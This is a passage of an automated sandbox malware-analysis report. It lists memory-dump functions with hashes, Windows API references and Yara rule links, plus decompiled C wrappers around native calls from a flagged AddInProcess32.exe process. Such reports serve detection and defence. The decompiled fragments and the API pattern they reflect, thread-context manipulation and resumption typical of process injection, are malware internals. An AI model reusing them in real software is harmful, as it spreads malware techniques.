Opcode Fuzzy Hash: 77f20bfb844b410b3484bfb1f261ed7cfa3649c742365213648714c00501c832
Instruction Fuzzy Hash: 923196B9D042589FCF10CFA9E884AEEFBF4BB19310F14902AE854B7210D774A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 088192D0, Relevance: 1.6, APIs: 1, Instructions: 93threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNEL32(?,?), ref: 08819387

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 98ac5668f4e71d582dadfe5269c2beff3b8c00024d0b80994d139190bd9dd8a4
Instruction ID: 62dba7c8d381cd627ea485984d2404ac050631f924ebc1bf26dda98cbf818467
Opcode Fuzzy Hash: 98ac5668f4e71d582dadfe5269c2beff3b8c00024d0b80994d139190bd9dd8a4
Instruction Fuzzy Hash: B731A9B5D052589FCF00CFA9D884AEEFBF1BB49314F54902AE415B7240C778A949CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04AB1CF0, Relevance: 1.6, APIs: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?), ref: 04AB1D91

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 84c10c0d1cb75e1e4370948004180935a83fdbc37c3ca867ac155ab8fc5c6335
Instruction ID: 7ad1576067e9e6d54f7303c36d2ece56abe2c9033f573377a724c084574d8778
Opcode Fuzzy Hash: 84c10c0d1cb75e1e4370948004180935a83fdbc37c3ca867ac155ab8fc5c6335
Instruction Fuzzy Hash: 3C31C9B4D052589FCF10CFA9D884AEEFBF1BB49314F14806AE445B7211D774AA46CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04AB1CF8, Relevance: 1.6, APIs: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?), ref: 04AB1D91

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 6886ebc9df120dada368bb2e9d503bc05554b1b4a01615ab7d3d6fff67962c51
Instruction ID: 24680b07df0fe6445281b843fe3ae6af0133e4aaca1c5361d568fde347aa9a46
Opcode Fuzzy Hash: 6886ebc9df120dada368bb2e9d503bc05554b1b4a01615ab7d3d6fff67962c51
Instruction Fuzzy Hash: 6231C9B4D052589FCB10CFAAD884AEEFBF5BF49314F14806AE444B7250D374AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0881A888, Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 0881A90E

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b25ec3ff6e526e02fea3602885b98e35923edf8d4f07d758b97e789155690ec5
Instruction ID: 8332222c27298f09f0e2ea47b868d57355acfa95894d6fd9abb55ec7e949891f
Opcode Fuzzy Hash: b25ec3ff6e526e02fea3602885b98e35923edf8d4f07d758b97e789155690ec5
Instruction Fuzzy Hash: 5D31DCB5D052589FCF04CFA9E884AEEFBB4AF48324F14902AE419B7300C735A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0881A890, Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 0881A90E

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 271ef00faa71c1390f9aad470c863f6ee47df1214be2720fbe1231cb3711991a
Instruction ID: 1a0c48a5f037ed201f127d3b7df1514fa136c67521edd800e167c8853bd35176
Opcode Fuzzy Hash: 271ef00faa71c1390f9aad470c863f6ee47df1214be2720fbe1231cb3711991a
Instruction Fuzzy Hash: F631CCB4D052189FCF14CFA9D884AEEFBB4AF49324F14902AE815B7300CB35A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0096C370, Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

D0.l, xrefs: 0096C66C

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID: D0.l
API String ID: 0-1583010233
Opcode ID: 4615df8c67eebf6ecbf2db31ca2a2688959935a842236123bb68b26b32b5e4c0
Instruction ID: 9b9c2a983fe36cee2d80e0f66427d4f54393c1d3631ca066e6d6af37d6e788f9
Opcode Fuzzy Hash: 4615df8c67eebf6ecbf2db31ca2a2688959935a842236123bb68b26b32b5e4c0
Instruction Fuzzy Hash: 7D81A270F046188BDB18AF75A85477E76B7BFC9304F15882EE446E7388DF3888069B95

Uniqueness

Uniqueness Score: -1.00%

Function 04ABD968, Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa11d5dce45dfac7a30e50411ab22229bd153e336e2665552b58505660caadd
Instruction ID: 0777fe1b12f359218649485a9267c67da3647027d32447a32bab2db01356218a
Opcode Fuzzy Hash: 2aa11d5dce45dfac7a30e50411ab22229bd153e336e2665552b58505660caadd
Instruction Fuzzy Hash: 2002F874D05228CFDB64DFA9C8847EDBBB2BF49304F1481A9D449A7392DB345A85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 08818A38, Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b037b117b3b5bae4aaa755d310bac37e0cc60476a581d5225d0ae6d53148577d
Instruction ID: 6de2ce2d7bda76090d0d572be7af9cf4dc933d92ea87c7f1c6cd1a49a050c949
Opcode Fuzzy Hash: b037b117b3b5bae4aaa755d310bac37e0cc60476a581d5225d0ae6d53148577d
Instruction Fuzzy Hash: 28E119B0E002188BEB58DFA9CC91BDDBBB2AF88305F4480AAD60DE7755DB305E458F55

Uniqueness

Uniqueness Score: -1.00%

Function 088154A8, Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7aea5d0bb42dcc07dff64edc20756658bb918991ce941125a53b3b6c22a555
Instruction ID: 5566d3de9171f4efaf461fb16735cd3f2568404a347d793aafca769f866e8be2
Opcode Fuzzy Hash: 9e7aea5d0bb42dcc07dff64edc20756658bb918991ce941125a53b3b6c22a555
Instruction Fuzzy Hash: 93E10974E041198FDB14DFA9C5809AEFBF2BF89305F248169D814AB756DB30AD41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 088178F0, Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c9b2c337c78e1b8582ccb6092085ee6a620324a4bcc66cb3a61e2a44ae68cf4
Instruction ID: f0676c4fb1fc1a55fbd1fee3c29432bf940fdd9892c2351580dc6ac2780ec884
Opcode Fuzzy Hash: 9c9b2c337c78e1b8582ccb6092085ee6a620324a4bcc66cb3a61e2a44ae68cf4
Instruction Fuzzy Hash: BCE1FB74E0411A8FDB14DFA9C980AADFBF2BF89305F248169D914AB35ADB309D41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 08819668, Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ba807b1ed24a8b1e3b7cb395e14ed7230fbb812964854419d6ebc350406e50
Instruction ID: ba55e1c4ffff977f39940b8bbe394a9100270e509a7646f2f2673d82aa9756fd
Opcode Fuzzy Hash: 23ba807b1ed24a8b1e3b7cb395e14ed7230fbb812964854419d6ebc350406e50
Instruction Fuzzy Hash: 8AE13B74E0411A8FDB14DFA9C990AADFBF2BF89305F258169D814AB356DB30AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 08816C70, Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf71f59abf168e10882d9e56514010833e0107dbc3cf1b72765e58c3f5ff2e4
Instruction ID: 3d3395dea43b2295c03049f35aee887a506f54eca72190c9853e5447ec8ac5fe
Opcode Fuzzy Hash: 7bf71f59abf168e10882d9e56514010833e0107dbc3cf1b72765e58c3f5ff2e4
Instruction Fuzzy Hash: B8E11974E041198FDB14DFA9C980AAEFBF2BF89305F248169D914AB356DB31AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 08815920, Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e51501c0e3df9777b4ad17ae960615acda987190835caaea675aec47b432de0
Instruction ID: 25287624d2e969a1e3ecf759722a4c7668bcc7cbb3d319a6000c44d82da8cafb
Opcode Fuzzy Hash: 2e51501c0e3df9777b4ad17ae960615acda987190835caaea675aec47b432de0
Instruction Fuzzy Hash: FEE10974E0411A8FDB54DFA9C980AADFBF2BF89305F248169D914AB356DB30AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04AB7C50, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6683a9fa44a2728e8514b3ea0f9faf3c2fda9a88720e9b3cf4495a6a093c562b
Instruction ID: 10df78eb6912d99130f17120fd8ec3036f4207eb307c7807cc5ea8b5f0b5c8e5
Opcode Fuzzy Hash: 6683a9fa44a2728e8514b3ea0f9faf3c2fda9a88720e9b3cf4495a6a093c562b
Instruction Fuzzy Hash: 16D1EA31C20B5A9ACB10EFA4D854AD9B7B1FFD6300F61879AD4497B255EB706AC8CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00963988, Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.683227705.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8de2b70b704636425e62017b0fa5e4f2d381d65f5cab9995c684c674ddc3b25
Instruction ID: 4220a69226bbbe4a238ff883b586afc8076f3c73c636aa0bdf378991834acea7
Opcode Fuzzy Hash: e8de2b70b704636425e62017b0fa5e4f2d381d65f5cab9995c684c674ddc3b25
Instruction Fuzzy Hash: A861F431A18155CFCB14CBA9C8406BABBB5EF85310F29C66BD495CB291C338DE41DB92

Uniqueness

Uniqueness Score: -1.00%

Function 08819658, Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028dc9ff0bf1e79472a601ac5fc2418d7dc03d204b15a4f50b579456c6609658
Instruction ID: c6676fe26ac61943c5f2a69aa83da96b29d7a69782df7d91d31f4cd0d66711f8
Opcode Fuzzy Hash: 028dc9ff0bf1e79472a601ac5fc2418d7dc03d204b15a4f50b579456c6609658
Instruction Fuzzy Hash: 6B511D74E0421A8FDB14CFA9C9505EEFBF2BF89205F24816AD418BB756DB305A42CF61

Uniqueness

Uniqueness Score: -1.00%

Function 08816C60, Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c9bce2b7696df1c45fcb04e74196046913f80bfa3b3f8f23f4c5cc4a6f57395
Instruction ID: 8553e242a55d0b52b170b03b160cd05f2f81de679e20428e450d243df094c9e0
Opcode Fuzzy Hash: 2c9bce2b7696df1c45fcb04e74196046913f80bfa3b3f8f23f4c5cc4a6f57395
Instruction Fuzzy Hash: B4513C70E046198FDB14CFA9C9805AEFBF2BF89305F2481A9D458AB356DB319D42CF61

Uniqueness

Uniqueness Score: -1.00%

Function 08815910, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12c4001c1c0d1f9d3cfa4249fd0920c382701dc8c0a4bd7d8a8825c3ca4113c8
Instruction ID: 01cc595f5144410d3eba091054cbd526e207d6b0338f28fd6e7f790b00363ff2
Opcode Fuzzy Hash: 12c4001c1c0d1f9d3cfa4249fd0920c382701dc8c0a4bd7d8a8825c3ca4113c8
Instruction Fuzzy Hash: 17510D70E042198FDB14CFA9C9805ADFBF2BF89305F24816AD418AB756DB309D41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08815499, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687384148.0000000008810000.00000040.00000001.sdmp, Offset: 08810000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7ca6edae4d9735b772bb354022c49690533527c49a25e7c70b72b14ffd7b858
Instruction ID: bc7865d93fd9533523aacf4a9782be1670518c0faafe999aaa3e68fcdc4bfbf0
Opcode Fuzzy Hash: c7ca6edae4d9735b772bb354022c49690533527c49a25e7c70b72b14ffd7b858
Instruction Fuzzy Hash: CE512070E046198FDB14CFA9C5805AEFBF2BF89305F258169D418AB356D7309D46CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04AB8609, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85dca559e6b3d60a13bf23411b9a9d7151aadf778eb52816fa261683fae17d11
Instruction ID: 520c65a42a49598c94af18bae709b88da923b2605572cac6c6b18a2618c06841
Opcode Fuzzy Hash: 85dca559e6b3d60a13bf23411b9a9d7151aadf778eb52816fa261683fae17d11
Instruction Fuzzy Hash: 1C31CDB1E006188FDB08CFAAC8446DDFBF6AFC8304F14C06AD858AB265EB745945CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04AB716C, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98452e90254d3d05781ec18037f653aad861a6e9272234c57c0d4f2bf4a274ec
Instruction ID: f5c17ac2828f6ea0ad67ca87e9bc799b7dc7f900965fc2b315af6381767f8263
Opcode Fuzzy Hash: 98452e90254d3d05781ec18037f653aad861a6e9272234c57c0d4f2bf4a274ec
Instruction Fuzzy Hash: 673191B8D05208EFCB14CFA9D484AEDBBF2BB89350F24916AE814B7354D7749981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04AB7178, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c7855590a970a41b5521f6ee40110a34fc45415e7ab74f446ae4e9717bb3334
Instruction ID: 54ad7bfa0cd7b7381a2b580a6b4da78b2ac94a3b32a1822f2af8de0dbbffc6d2
Opcode Fuzzy Hash: 1c7855590a970a41b5521f6ee40110a34fc45415e7ab74f446ae4e9717bb3334
Instruction Fuzzy Hash: FB316EB8D05209EFCB14CFA9D884AEDBBF1BB89310F24916AE814B7350D7749941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04AB73CD, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18af472446ae18ac0742e67e74225324531aaa092bbdc3b542fb54f4f11688eb
Instruction ID: 462186d9818841546bdd548a023599a50cd23046e699317a3b91f92dc1665fe8
Opcode Fuzzy Hash: 18af472446ae18ac0742e67e74225324531aaa092bbdc3b542fb54f4f11688eb
Instruction Fuzzy Hash: 1DF097B9D0520C9F8F04CFA9D4418EEFBF6AB59310F10A12AE804B3310E7309951CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 04AB73D0, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.686691195.0000000004AB0000.00000040.00000001.sdmp, Offset: 04AB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction ID: a1be51b70be38660fb7c363718b8671434af179da1e81d8681d60e917ff1b38d
Opcode Fuzzy Hash: 9eb7edaa31dfbf35867dc96d8b8f8c426529f6e1b54484e160c576f9eb5ddf33
Instruction Fuzzy Hash: 26F047B5D0520C9F8F04DFA9D5414DEFBF6AB59311F10A16AD814B3310E73599518FA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AddInProcess32.exe PID: 6476 Parent PID: 5980 AddInProcess32.exeCOMMON

Executed Functions

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419E10(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E0041A960(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x414d42
				_t12 =  &_a8; // 0x414d42
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00419e13
0x00419e1f
0x00419e27
0x00419e32
0x00419e4d
0x00419e55
0x00419e59

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E4D, 00419E54
BMA, xrefs: 00419E32, 00419E40

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: bd248b349f18b2ced93d1e709abaf342431bbeaaaaa26160fd0c904447d41470
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 45F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158649BE1DA7241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD0, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACD0(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_t24 = _a8;
				_v8 =  &_v536;
				_t15 = E0041C650( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041CA70(_v8, _t24, __eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041CCF0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E0041AEA0(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040acd9
0x0040acec
0x0040acef
0x0040acf4
0x0040acf9
0x0040ad03
0x0040ad08
0x0040ad0b
0x0040ad0d
0x0040ad15
0x0040ad1a
0x0040ad1a
0x0040ad21
0x0040ad29
0x0040ad2c
0x0040ad2e
0x0040ad42
0x00000000
0x0040ad44
0x0040ad4a
0x0040acfe
0x0040acfe
0x0040acfe

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD42

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: b21dceb9c17b581325113e7f9749888d8b8163c3e846858d6705abbd9991eecb
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: A8015EB5D4020DBBDF10DBA5DC82FDEB3789F54308F0041AAE909A7281F635EB548B96

Uniqueness

Uniqueness Score: -1.00%

Function 00419D60, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419D60(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E0041A960(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x00419d6f
0x00419d77
0x00419dad
0x00419db1

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d405ca8330a7760d33d8cb8f94c0e61ce0ec213ce21d6c827413d184fac496c
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: F1F0B2B2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419DB3, Relevance: 1.5, APIs: 1, Instructions: 35filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ae8e70f240ea659bee86a9c7dae0642191869ef75ac8ca9584688fce5cc2aa80
Instruction ID: 5e8e6141857b39c2fbf8d68c5cfc0c6a2e7e3bfd49510c9e74ed0e2b8870a125
Opcode Fuzzy Hash: ae8e70f240ea659bee86a9c7dae0642191869ef75ac8ca9584688fce5cc2aa80
Instruction Fuzzy Hash: CEF0A4B2204109AF8B08CF98D881CDB77B9AF8C714B15921DF919D7255D634E851CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00419F40, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419F40(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E0041A960(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x00419f4f
0x00419f57
0x00419f79
0x00419f7d

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB34,?,00000000,?,00003000,00000040,00000000,00000000,00409CD3), ref: 00419F79

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 9c08e1581e5817f7e91e4b21b7a397560e598f802d56d9274a49c90b7c070efe
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 1EF015B2210208ABCB14DF89CC81EEB77ADEF88754F158549BE08A7241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E8A, Relevance: 1.5, APIs: 1, Instructions: 22
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00419E8A(void* __eax, signed int __ecx, void* __edx, void* __edi, intOrPtr _a4, void* _a8) {
				long _t12;

				asm("lodsb");
				_t19 = __edi +  *((intOrPtr*)(__eax + 0x55 + __ecx * 2));
				_t9 = _a4;
				_t5 = _t9 + 0x10; // 0x300
				_t6 = _t9 + 0xc50; // 0x40a923
				E0041A960(_t19, _a4, _t6,  *_t5, 0, 0x2c);
				_t12 = NtClose(_a8); // executed
				return _t12;
			}

0x00419e8a
0x00419e8d
0x00419e93
0x00419e96
0x00419e9f
0x00419ea7
0x00419eb5
0x00419eb9

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: d7e6b4a6f5b599adcc158f7e932870e142a7e47feb8bd5efb3a1b4d716b2c4c6
Instruction ID: b25ad9770d97984819c4e0ce4b7040a082ae5665a9e5b32fe796fc7bcd838d7d
Opcode Fuzzy Hash: d7e6b4a6f5b599adcc158f7e932870e142a7e47feb8bd5efb3a1b4d716b2c4c6
Instruction Fuzzy Hash: 49E08675101204AFD710EF94DC85E977779EF48710F168459BE186B352C630F56487D0

Uniqueness

Uniqueness Score: -1.00%

Function 00419E90, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419E90(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x40a923
				E0041A960(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x00419e93
0x00419e96
0x00419e9f
0x00419ea7
0x00419eb5
0x00419eb9

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e68336ecf97fcbff1cce52d5eab911d0c0d253976a6ab71543f56f2ca0e2158f
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 6CD012752002146BD710EB99CC85ED7776CEF44760F154459BA5C5B242C530F55086E0

Uniqueness

Uniqueness Score: -1.00%

Function 012F9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012F991A

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
